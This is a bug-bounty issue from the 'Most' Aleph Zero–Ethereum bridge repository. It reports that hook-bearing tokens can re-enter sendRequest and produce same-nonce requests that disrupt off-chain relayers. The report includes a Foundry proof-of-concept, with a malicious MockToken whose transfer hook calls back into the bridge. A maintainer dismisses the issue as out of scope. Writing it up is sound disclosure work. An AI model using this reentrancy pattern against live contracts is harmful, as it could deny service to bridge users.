hats-finance / Most--Aleph-Zero-Bridge-0xab7c1d45ae21e7133574746b2985c58e0ae2e61d

Aleph Zero bridge to Ethereum
Apache License 2.0
0 stars 1 forks source link

Same nonce TX can be sent breaking off-chain components #25

Open hats-bug-reporter[bot] opened 5 months ago

hats-bug-reporter[bot] commented 5 months ago

Github username: -- Twitter username: -- Submission hash (on-chain): 0x98913dd95f49316867564c2e2676f6fb930d5ea3d0faad57527df9e785ec6c21 Severity: medium

Description: Description: Any token that implements a hook can be used to spam transactions (TX) with the same nonce. This, of course, will break off-chain components and cause a denial-of-service (DOS) attack.

Attack Scenario:

  1. Alice wants to launch a DOS attack and break the bridge.

  2. Alice observes that an ERC777 token is allowed.

  3. Alice creates her spam contract and spams transactions with the same nonce.

  4. Proof of Concept (PoC) File

You must install OZ in order to work

forge install OpenZeppelin/openzeppelin-contracts
forge install OpenZeppelin/openzeppelin-contracts-upgradeable
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Most} from "../contracts/Most.sol";

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract CounterTest is Test {
    Most most;
    MockToken token;
    uint256 counter;

    function setUp() public {
        most = new Most();
        token = new MockToken();
        token.mint(address(this),100e18);
        token.approve(address(most), 100e18);

        address[] memory _committee = new address[](2);
        _committee[0] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        _committee[1] = 0x2A416168ceA12820E288d36f77C1b7f936F4e228;

        uint256 _signatureThreshold = 2;
        address _wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

        most.initialize(_committee,_signatureThreshold,address(this),payable(_wethAddress));

        bytes32 tokenAdd = addressToBytes32(address(token));
        most.addPair(tokenAdd,tokenAdd);

        most.unpause();
    }

    function test_POC() public {
        bytes32 tokenAdd = addressToBytes32(address(token));
        most.sendRequest(tokenAdd,100,tokenAdd);
    }

    function canReceive() public {
        if(counter == 0){
            bytes32 tokenAdd = addressToBytes32(address(token));
            counter++;
            most.sendRequest(tokenAdd,100,tokenAdd);
        }
    }
    function addressToBytes32(address addr) internal pure returns (bytes32) {
        return bytes32(uint256(uint160(addr)));
    }
}

contract MockToken is ERC20 {
    constructor() ERC20("Mock", "M") {}
    function mint(address to,uint amount) public {
        _mint(to,amount);
    }

    function _update(address from, address to, uint256 value) internal virtual override{
        (bool success,) = from.call(abi.encodeWithSignature("canReceive()"));
        super._update( from, to, value);
    }
}
  1. Revised Code File (Optional)

Use non-reentrant.

krzysztofziobro commented 5 months ago

This requires the owner to whitelist a malicious token - out of scope